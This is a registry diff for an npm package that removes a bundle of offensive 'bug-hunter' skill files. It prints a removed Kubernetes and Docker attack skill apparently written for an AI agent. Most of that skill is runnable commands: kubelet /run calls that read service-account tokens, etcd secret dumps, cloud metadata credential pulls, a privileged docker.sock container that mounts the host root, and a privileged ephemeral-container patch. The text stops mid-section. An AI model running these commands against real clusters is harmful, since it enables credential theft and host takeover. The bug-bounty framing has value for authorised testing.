@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled/bug-hunter/SKILL.md +7 -0
- package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
- package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
- package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
- package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
- package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
- package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
- package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
- package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
- package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
- package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
- package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
- package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
- package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
- package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
- package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
- package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
- package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
- package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
- package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
- package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
- package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
- package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
- package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
- package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
- package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
- package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
- package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
- package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
- package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
- package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
- package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
- package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
- package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
- package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
- package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
- package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
- package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
- package/cli.js +1 -1
- package/package.json +2 -2
- package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
- package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
- package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
- package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
- package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
- package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
- package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
- package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
- package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
- package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
- package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
- package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
- package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
- package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
- package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
- package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
- package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
- package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
- package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
- package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
- package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
- package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
- package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
- package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
- package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
- package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
- package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
- package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
- package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
- package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
- package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
- package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
- package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
- package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
- package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
- package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
- package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
- package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
- package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
- package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
- package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
- package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
- package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
- package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
- package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
- package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
- package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
- package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
- package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
- package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
- package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
- package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
- package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
- package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
- package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
- package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
- package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
- package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
- package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
- package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
- package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
- package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
- package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
- package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
- package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
- package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
- package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
- package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
- package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
- package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
- package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
- package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
- package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
- package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
- package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
- package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
- package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
- package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
- package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
- package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
- package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
- package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
- package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
- package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
- package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
- package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
- package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
- package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
- package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
- package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
- package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
- package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
- package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
- package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
- package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
- package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
- package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
- package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
- package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
- package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
- package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
- package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
|
@@ -1,293 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-k8s
|
|
3
|
-
description: "Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts."
|
|
4
|
-
sources: hackerone_public, cve_database, kubernetes_security_research, portswigger_research
|
|
5
|
-
report_count: 13
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
# HUNT-K8S — Kubernetes & Docker Security
|
|
9
|
-
|
|
10
|
-
## Crown Jewel Targets
|
|
11
|
-
|
|
12
|
-
K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise.
|
|
13
|
-
|
|
14
|
-
**Highest-value findings:**
|
|
15
|
-
- **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).
|
|
16
|
-
- **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
|
|
17
|
-
- **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
|
|
18
|
-
- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.
|
|
19
|
-
- **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root.
|
|
20
|
-
- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root.
|
|
21
|
-
- **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact.
|
|
22
|
-
- **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated.
|
|
23
|
-
|
|
24
|
-
---
|
|
25
|
-
|
|
26
|
-
## OOB / Confirmation Gate (Read First)
|
|
27
|
-
|
|
28
|
-
K8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**
|
|
29
|
-
|
|
30
|
-
- A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value.
|
|
31
|
-
- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report "kubelet RCE" off a 10255 hit.
|
|
32
|
-
- **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof.
|
|
33
|
-
- **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's).
|
|
34
|
-
- Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.
|
|
35
|
-
|
|
36
|
-
---
|
|
37
|
-
|
|
38
|
-
## Phase 1 — Fingerprint & Port Discovery
|
|
39
|
-
|
|
40
|
-
```bash
|
|
41
|
-
# Common Kubernetes / container ports
|
|
42
|
-
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
|
|
43
|
-
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
|
|
44
|
-
|
|
45
|
-
# API server fingerprint — the /version endpoint is anonymous on most clusters
|
|
46
|
-
curl -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
|
|
47
|
-
curl -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth
|
|
48
|
-
curl -sk "https://$TARGET:6443/healthz"
|
|
49
|
-
|
|
50
|
-
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
|
|
51
|
-
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
|
|
52
|
-
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
|
|
53
|
-
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
54
|
-
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
|
|
55
|
-
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE
|
|
56
|
-
```
|
|
57
|
-
Note the `gitVersion` — it gates every CVE below.
|
|
58
|
-
|
|
59
|
-
---
|
|
60
|
-
|
|
61
|
-
## Phase 2 — Kubernetes API Anonymous / Low-Priv Access
|
|
62
|
-
|
|
63
|
-
```bash
|
|
64
|
-
SRV="https://$TARGET:6443"
|
|
65
|
-
|
|
66
|
-
# 1. What am I? (anonymous → "system:anonymous")
|
|
67
|
-
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
|
|
68
|
-
-H 'Content-Type: application/json' \
|
|
69
|
-
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
|
|
70
|
-
|
|
71
|
-
# 2. What can I actually DO? (the only honest privilege check)
|
|
72
|
-
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
|
|
73
|
-
-H 'Content-Type: application/json' \
|
|
74
|
-
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
|
|
75
|
-
|
|
76
|
-
# 3. Targeted access check for the crown-jewel verbs
|
|
77
|
-
for R in secrets pods nodes/proxy pods/exec; do
|
|
78
|
-
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
|
|
79
|
-
-H 'Content-Type: application/json' \
|
|
80
|
-
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
|
|
81
|
-
| grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
|
|
82
|
-
done
|
|
83
|
-
|
|
84
|
-
# 4. Only if access review says allowed — read a real Secret to prove impact
|
|
85
|
-
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
|
|
86
|
-
# decode one value (redact before reporting):
|
|
87
|
-
# echo '<base64>' | base64 -d
|
|
88
|
-
```
|
|
89
|
-
|
|
90
|
-
**CVE-2018-1002105** (`gitVersion` < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding.
|
|
91
|
-
|
|
92
|
-
---
|
|
93
|
-
|
|
94
|
-
## Phase 3 — Kubelet (Port 10250) — `/run` First, `/exec` Done Right
|
|
95
|
-
|
|
96
|
-
The earlier version of this skill sent `/exec` as a plain `POST` and expected `id` output back. **That is wrong.** `/exec` is a SPDY/WebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `/cri/exec/<token>`) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.
|
|
97
|
-
|
|
98
|
-
```bash
|
|
99
|
-
SRV="https://$TARGET:10250"
|
|
100
|
-
|
|
101
|
-
# Enumerate pods (auth varies; many kubelets allow anonymous read here)
|
|
102
|
-
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
|
|
103
|
-
| grep -E '"namespace"|"name"|"containerName"' | head -40
|
|
104
|
-
|
|
105
|
-
NS=default; POD=target-pod; CTR=app
|
|
106
|
-
|
|
107
|
-
# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
|
|
108
|
-
# This is the simple correct primitive. Use this first.
|
|
109
|
-
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
|
|
110
|
-
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
|
|
111
|
-
|
|
112
|
-
# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
|
|
113
|
-
# Option 1: kubeletctl handles the stream transport for you (recommended)
|
|
114
|
-
# kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
|
|
115
|
-
# kubeletctl --server $TARGET scan rce # finds every exec-able pod
|
|
116
|
-
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
|
|
117
|
-
# read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
|
|
118
|
-
# curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location
|
|
119
|
-
# websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"
|
|
120
|
-
|
|
121
|
-
# Container logs (read-only, no stream)
|
|
122
|
-
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR"
|
|
123
|
-
|
|
124
|
-
# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
|
|
125
|
-
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
|
|
126
|
-
curl -s "http://$TARGET:10255/metrics" | head
|
|
127
|
-
```
|
|
128
|
-
|
|
129
|
-
**CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only.
|
|
130
|
-
|
|
131
|
-
---
|
|
132
|
-
|
|
133
|
-
## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes/proxy`)
|
|
134
|
-
|
|
135
|
-
When 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes/proxy`, route exec **through the API server**:
|
|
136
|
-
|
|
137
|
-
```bash
|
|
138
|
-
SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
|
|
139
|
-
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)
|
|
140
|
-
|
|
141
|
-
# /run via the node proxy → output comes straight back
|
|
142
|
-
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
|
|
143
|
-
"$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"
|
|
144
|
-
|
|
145
|
-
# enumerate every pod on a node via the proxy
|
|
146
|
-
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"
|
|
147
|
-
```
|
|
148
|
-
`nodes/proxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.
|
|
149
|
-
|
|
150
|
-
---
|
|
151
|
-
|
|
152
|
-
## Phase 4b — Ingress-NGINX "IngressNightmare" (CVE-2025-1974)
|
|
153
|
-
An unauthenticated attacker who can reach the ingress-nginx admission controller (`:8443`, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted `AdmissionReview` for an Ingress object -> RCE in the controller pod, whose service account is powerful -> full cluster compromise. Fingerprint controller version (`/healthz`, pod image tag) and map to <1.11.5 / <1.12.1. (CVE-2025-1974 with CVE-2025-1097/1098/24513/24514.)
|
|
154
|
-
|
|
155
|
-
## Phase 5 — etcd Unauth (Port 2379)
|
|
156
|
-
|
|
157
|
-
```bash
|
|
158
|
-
# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
|
|
159
|
-
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
|
|
160
|
-
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
|
|
161
|
-
get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40
|
|
162
|
-
|
|
163
|
-
# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
|
|
164
|
-
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
|
|
165
|
-
-d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool
|
|
166
|
-
|
|
167
|
-
# v2 (older clusters)
|
|
168
|
-
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head
|
|
169
|
-
```
|
|
170
|
-
A recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`/`get` with key data is.
|
|
171
|
-
|
|
172
|
-
---
|
|
173
|
-
|
|
174
|
-
## Phase 6 — Service Account Token Abuse (Bound / Projected Tokens)
|
|
175
|
-
|
|
176
|
-
```bash
|
|
177
|
-
# From RCE/LFI inside a pod:
|
|
178
|
-
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
179
|
-
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
|
|
180
|
-
API="https://kubernetes.default.svc"
|
|
181
|
-
|
|
182
|
-
# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
|
|
183
|
-
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
|
|
184
|
-
# Look at: "aud" (must match the API server audience to be accepted),
|
|
185
|
-
# "exp" (projected tokens rotate ~1h — a captured token may already be dead),
|
|
186
|
-
# "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
|
|
187
|
-
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.
|
|
188
|
-
|
|
189
|
-
# Honest privilege check, then prove with a real read
|
|
190
|
-
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
|
|
191
|
-
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
|
|
192
|
-
-d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
|
|
193
|
-
curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"
|
|
194
|
-
```
|
|
195
|
-
|
|
196
|
-
**EphemeralContainers node-shell escalation:** with `pods/ephemeralcontainers` (or pod `create`), attach a debug container that shares the host namespaces to escape the pod:
|
|
197
|
-
```bash
|
|
198
|
-
kubectl debug node/$NODE -it --image=busybox # mounts host root at /host → chroot /host
|
|
199
|
-
# or patch an ephemeral container with hostPID/privileged via the API:
|
|
200
|
-
curl -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
|
|
201
|
-
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
|
|
202
|
-
-d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'
|
|
203
|
-
```
|
|
204
|
-
|
|
205
|
-
---
|
|
206
|
-
|
|
207
|
-
## Phase 7 — Docker Socket Exposure & runc Container Escape
|
|
208
|
-
|
|
209
|
-
```bash
|
|
210
|
-
# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
|
|
211
|
-
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
|
|
212
|
-
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json
|
|
213
|
-
|
|
214
|
-
# Privileged container bind-mounting host root → read/write host fs (host escape)
|
|
215
|
-
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
|
|
216
|
-
-X POST http://localhost/v1.41/containers/create?name=poc \
|
|
217
|
-
-d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
|
|
218
|
-
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
|
|
219
|
-
curl -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
|
|
220
|
-
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).
|
|
221
|
-
```
|
|
222
|
-
|
|
223
|
-
**Container-escape CVEs (gate on runc/version):**
|
|
224
|
-
